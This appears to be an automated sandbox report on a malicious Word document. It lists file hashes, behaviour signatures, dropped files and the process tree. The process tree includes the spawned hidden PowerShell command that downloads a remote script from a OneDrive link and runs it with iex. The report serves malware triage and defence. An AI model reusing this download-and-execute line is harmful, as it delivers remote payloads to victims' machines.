Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    08/05/2024, 17:29

General

  • Target

    7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc

  • Size

    70KB

  • MD5

    1812b0ee6924f6188269c65494e580e8

  • SHA1

    fc83f1d3acb53009cbaa7b9df57676274fc561a1

  • SHA256

    7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68

  • SHA512

    5432bbe2f3f54a1ddf8980ad1f34a684d0e7b17bd29cc059c3c20e798dfcab025d68a0b46776630c64b84c062a146e27c2f75f8de57e08f88b1ac8cfed1f8eff

  • SSDEEP

    768:Dpwxw+tCmFeFahP8nmwyd04aCF+Fas0Mxw+tq:DSxrtCmFeFahP81CF+FasZxrt

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2792
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -exec bypass -w 1 -c (iwr 'https://onedrive.live.com/download?resid=59261C7E41B6478A%21215&authkey=!AILxsvzlZboP3io' -UseBasicParsing).Content | iex
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2804

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\46A3517.emf

            Filesize

            2KB

            MD5

            0e9f6533cad992f680e3581ffb00ee3c

            SHA1

            37b2700b0477cf5f85fe052ecf57d157c821633c

            SHA256

            627b83baf6386b68b6e1dcd2a345b228b1bc4bfacbc804753c6bb8df2b588554

            SHA512

            68859981f9b18a0832280145ccb73d69ffe8525783094b3e7a6f4ade4625f452706ebf282b4c945ccf682a82c031ef6bdf061b82fbb8d469dca896a787e26fd9

          • memory/1976-0-0x000000002F281000-0x000000002F282000-memory.dmp

            Filesize

            4KB

          • memory/1976-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1976-2-0x000000007176D000-0x0000000071778000-memory.dmp

            Filesize

            44KB

          • memory/1976-8-0x00000000062F0000-0x00000000063F0000-memory.dmp

            Filesize

            1024KB

          • memory/1976-29-0x000000007176D000-0x0000000071778000-memory.dmp

            Filesize

            44KB

          • memory/1976-30-0x00000000062F0000-0x00000000063F0000-memory.dmp

            Filesize

            1024KB